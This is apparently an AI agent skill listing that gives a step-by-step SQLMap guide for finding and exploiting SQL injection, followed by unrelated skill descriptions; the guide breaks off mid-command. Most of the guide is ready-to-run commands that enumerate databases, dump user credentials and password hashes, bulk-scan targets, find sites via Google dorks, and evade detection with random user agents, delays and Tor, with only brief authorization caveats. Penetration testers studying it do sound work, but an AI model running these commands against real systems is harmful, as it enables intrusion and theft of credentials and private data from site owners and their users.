sqlmap-database-pentesting
Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap.
What this skill does
# SQLMap Database Penetration Testing ## Purpose Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems. ## Inputs / Prerequisites - **Target URL**: Web application URL with injectable parameter (e.g., `?id=1`) - **SQLMap Installation**: Pre-installed on Kali Linux or downloaded from GitHub - **Verified Injection Point**: URL parameter confirmed or suspected to be SQL injectable - **Request File (Optional)**: Burp Suite captured HTTP request for POST-based injection - **Authorization**: Written permission for penetration testing activities ## Outputs / Deliverables - **Database Enumeration**: List of all databases on the target server - **Table Structure**: Complete table names within target database - **Column Mapping**: Column names and data types for each table - **Extracted Data**: Dumped records including usernames, passwords, and sensitive data - **Hash Values**: Password hashes for offline cracking - **Vulnerability Report**: Confirmation of SQL injection type and severity ## Core Workflow ### 1. Identify SQL Injection Vulnerability #### Manual Verification ```bash # Add single quote to break query http://target.com/page.php?id=1' # If error message appears, likely SQL injectable # Error example: "You have an error in your SQL syntax" ``` #### Initial SQLMap Scan ```bash # Basic vulnerability detection sqlmap -u "http://target.com/page.php?id=1" --batch # With verbosity for detailed output sqlmap -u "http://target.com/page.php?id=1" --batch -v 3 ``` ### 2. Enumerate Databases #### List All Databases ```bash sqlmap -u "http://target.com/page.php?id=1" --dbs --batch ``` **Key Options:** - `-u`: Target URL with injectable parameter - `--dbs`: Enumerate database names - `--batch`: Use default answers (non-interactive mode) ### 3. Enumerate Tables #### List Tables in Specific Database ```bash sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch ``` **Key Options:** - `-D`: Specify target database name - `--tables`: Enumerate table names ### 4. Enumerate Columns #### List Columns in Specific Table ```bash sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch ``` **Key Options:** - `-T`: Specify target table name - `--columns`: Enumerate column names ### 5. Extract Data #### Dump Specific Table Data ```bash sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch ``` #### Dump Specific Columns ```bash sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch ``` #### Dump Entire Database ```bash sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch ``` **Key Options:** - `--dump`: Extract all data from specified table - `--dump-all`: Extract all data from all tables - `-C`: Specify column names to extract ### 6. Advanced Target Options #### Target from HTTP Request File ```bash # Save Burp Suite request to file, then: sqlmap -r /path/to/request.txt --dbs --batch ``` #### Target from Log File ```bash # Feed log file with multiple requests sqlmap -l /path/to/logfile --dbs --batch ``` #### Target Multiple URLs (Bulk File) ```bash # Create file with URLs, one per line: # http://target1.com/page.php?id=1 # http://target2.com/page.php?id=2 sqlmap -m /path/to/bulkfile.txt --dbs --batch ``` #### Target via Google Dorks (Use with Caution) ```bash # Automatically find and test vulnerable sites (LEGAL TARGETS ONLY) sqlmap -g "inurl:?id= site:yourdomain.com" --batch ``` ## Quick Reference Commands ### Database Enumeration Progression | Stage | Command | |-------|---------| | List Databases | `sqlmap -u "URL" --dbs --batch` | | List Tables | `sqlmap -u "URL" -D dbname --tables --batch` | | List Columns | `sqlmap -u "URL" -D dbname -T tablename --columns --batch` | | Dump Data | `sqlmap -u "URL" -D dbname -T tablename --dump --batch` | | Dump All | `sqlmap -u "URL" -D dbname --dump-all --batch` | ### Supported Database Management Systems | DBMS | Support Level | |------|---------------| | MySQL | Full Support | | PostgreSQL | Full Support | | Microsoft SQL Server | Full Support | | Oracle | Full Support | | Microsoft Access | Full Support | | IBM DB2 | Full Support | | SQLite | Full Support | | Firebird | Full Support | | Sybase | Full Support | | SAP MaxDB | Full Support | | HSQLDB | Full Support | | Informix | Full Support | ### SQL Injection Techniques | Technique | Description | Flag | |-----------|-------------|------| | Boolean-based blind | Infers data from true/false responses | `--technique=B` | | Time-based blind | Uses time delays to infer data | `--technique=T` | | Error-based | Extracts data from error messages | `--technique=E` | | UNION query-based | Uses UNION to append results | `--technique=U` | | Stacked queries | Executes multiple statements | `--technique=S` | | Out-of-band | Uses DNS or HTTP for exfiltration | `--technique=Q` | ### Essential Options | Option | Description | |--------|-------------| | `-u` | Target URL | | `-r` | Load HTTP request from file | | `-l` | Parse targets from Burp/WebScarab log | | `-m` | Bulk file with multiple targets | | `-g` | Google dork (use responsibly) | | `--dbs` | Enumerate databases | | `--tables` | Enumerate tables | | `--columns` | Enumerate columns | | `--dump` | Dump table data | | `--dump-all` | Dump all database data | | `-D` | Specify database | | `-T` | Specify table | | `-C` | Specify columns | | `--batch` | Non-interactive mode | | `--random-agent` | Use random User-Agent | | `--level` | Level of tests (1-5) | | `--risk` | Risk of tests (1-3) | ## Constraints and Limitations ### Operational Boundaries - Requires valid injectable parameter in target URL - Network connectivity to target database server required - Large database dumps may take significant time - Some WAF/IPS systems may block SQLMap traffic - Time-based attacks significantly slower than error-based ### Performance Considerations - Use `--threads` to speed up enumeration (default: 1) - Limit dumps with `--start` and `--stop` for large tables - Use `--technique` to specify faster injection method if known ### Legal Requirements - Only test systems with explicit written authorization - Google dork attacks against unknown sites are illegal - Document all testing activities and findings - Respect scope limitations defined in engagement rules ### Detection Risk - SQLMap generates significant log entries - Use `--random-agent` to vary User-Agent header - Consider `--delay` to avoid triggering rate limits - Proxy through Tor with `--tor` for anonymity (authorized tests only) ## Examples ### Example 1: Complete Database Enumeration ```bash # Step 1: Discover databases sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch # Result: acuart database found # Step 2: List tables sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch # Result: users, products, carts, etc. # Step 3: List columns sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch # Result: username, password, email columns # Step 4: Dump user credentials sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch ``` ### Example 2: POST Request Injection ```bash # Save Burp request to file (login.txt): # POST /login.php HTTP/1.1 # Host: target.com # Content-Type: application/x-www-form-urlencoded # # username=admin&password=test # Run SQLMap with request file sqlmap -r /root/Desktop/login.txt -p username --dbs --batch ``` ### Example 3: Bulk Target Scanning ```bash # Create bulkfile.txt: echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt ech
Related in Backend & APIs
jfrog
IncludedInteract with the JFrog Platform via the JFrog CLI and REST/GraphQL APIs. Use this skill when the user wants to manage Artifactory repositories, upload or download artifacts, manage builds, configure permissions, manage users and groups, work with access tokens, configure JFrog CLI servers, search artifacts, manage properties, set up replication, manage JFrog Projects, run security audits or scans, look up CVE details, query exposures scan results from JFrog Advanced Security, manage release bundles and lifecycle operations, aggregate or export platform data, or perform any JFrog Platform administration task. Also use when the user mentions jf, jfrog, artifactory, xray, distribution, evidence, apptrust, onemodel, graphql, workers, mission control, curation, advanced security, exposures, or any JFrog product name.
cupynumeric-migration-readiness
IncludedPre-migration readiness assessor for porting NumPy to cuPyNumeric. Use BEFORE substantial porting work begins when the user asks whether code will scale on GPU, whether they should migrate to cuPyNumeric, which NumPy patterns transfer cleanly, what must be refactored before porting, or mentions pre-port assessment, scaling analysis, or refactor planning. Inspect the user's source code, look up NumPy usage, cross-reference the cuPyNumeric API support manifest, and distinguish distributed-scaling-friendly patterns from blockers such as unsupported APIs, scalar synchronization, host round-trips, Python/object-heavy control flow, shape/data-dependent branching, and in-place mutation hazards. Produce a verdict of READY, LIGHT REFACTOR, SIGNIFICANT REFACTOR, or NOT RECOMMENDED, with concrete refactor pointers.
alibabacloud-data-agent-skill
IncludedInvoke Alibaba Cloud Apsara Data Agent for Analytics via CLI to perform natural language-driven data analysis on enterprise databases. Data Agent for Analytics is an intelligent data analysis agent developed by Alibaba Cloud Database team for enterprise users. It automatically completes requirement analysis, data understanding, analysis insights, and report generation based on natural language descriptions. This tool supports: discovering data resources (instances/databases/tables) managed in DMS, initiating query or deep analysis sessions, real-time progress tracking, and retrieving analysis conclusions and generated reports. Use this Skill when users need to query databases, analyze data trends, generate data reports, ask questions in natural language, or mention "Data Agent", "data analysis", "database query", "SQL analysis", "data insights".
token-optimizer
IncludedReduce OpenClaw token usage and API costs through smart model routing, heartbeat optimization, budget tracking, and native 2026.2.15 features (session pruning, bootstrap size limits, cache TTL alignment). Use when token costs are high, API rate limits are being hit, or hosting multiple agents at scale. The 4 executable scripts (context_optimizer, model_router, heartbeat_optimizer, token_tracker) are local-only — no network requests, no subprocess calls, no system modifications. Reference files (PROVIDERS.md, config-patches.json) document optional multi-provider strategies that require external API keys and network access if you choose to use them. See SECURITY.md for full breakdown.
resend-cli
IncludedUse this skill when the task is specifically about operating Resend from an AI agent, terminal session, or CI job via the official resend CLI: installing/authenticating the CLI, sending/listing/updating/cancelling emails, batch sends, domains and DNS, webhooks and local listeners, inbound receiving, contacts, topics, segments, broadcasts, templates, API keys, profiles, or debugging Resend CLI/API failures. Trigger on mentions of Resend CLI, `resend`, `resend doctor`, `resend emails send`, `resend domains`, `resend webhooks listen`, `resend emails receiving`, or agent-friendly terminal automation.
alibabacloud-odps-maxframe-coding
IncludedUse this skill for MaxFrame SDK development and documentation navigation on Alibaba Cloud MaxCompute (ODPS). Helps answer MaxFrame API, concept, official example, and supported pandas API questions; create data processing programs; read/write MaxCompute tables; debug jobs (remote or local); and build custom DPE runtime images. Trigger when users mention MaxFrame, MaxCompute with MaxFrame, ODPS table processing, DPE runtime, MaxFrame docs/examples, DataFrame/Tensor operations, or GPU runtime setup. Works for both English and Chinese queries about Alibaba Cloud data processing with MaxFrame.